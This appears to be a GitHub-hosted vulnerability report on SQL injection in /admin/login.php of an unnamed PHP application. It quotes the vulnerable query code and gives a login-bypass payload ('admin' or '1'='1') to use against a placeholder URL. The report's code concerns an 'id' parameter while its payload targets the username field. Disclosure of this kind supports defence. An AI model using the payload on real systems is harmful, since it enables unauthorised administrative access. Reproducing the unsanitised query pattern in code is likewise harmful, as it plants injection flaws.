Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
Build environment with PHP5.
--------------------------------
affected source code file: /admin/login.php
--------------------------------
affected source code:
.....
<?php
$id = getvar('id');
$list = $db->getOneRow(get_sql("select * from {pre}manager where id = " . $id));
//die($list);
//die($result1);
?>
.....
--------------------------------
affected reason:
We can see the $id parameter has not been safely processed. So, the SQL injection can be achieved by constructing SQL injection statements in /admin/login.php
--------------------------------
affected executable:
visit url:http://xx.xx.com/admin/login.php
use: admin' or '1'='1 as the username; Then we can log in to the background with any password.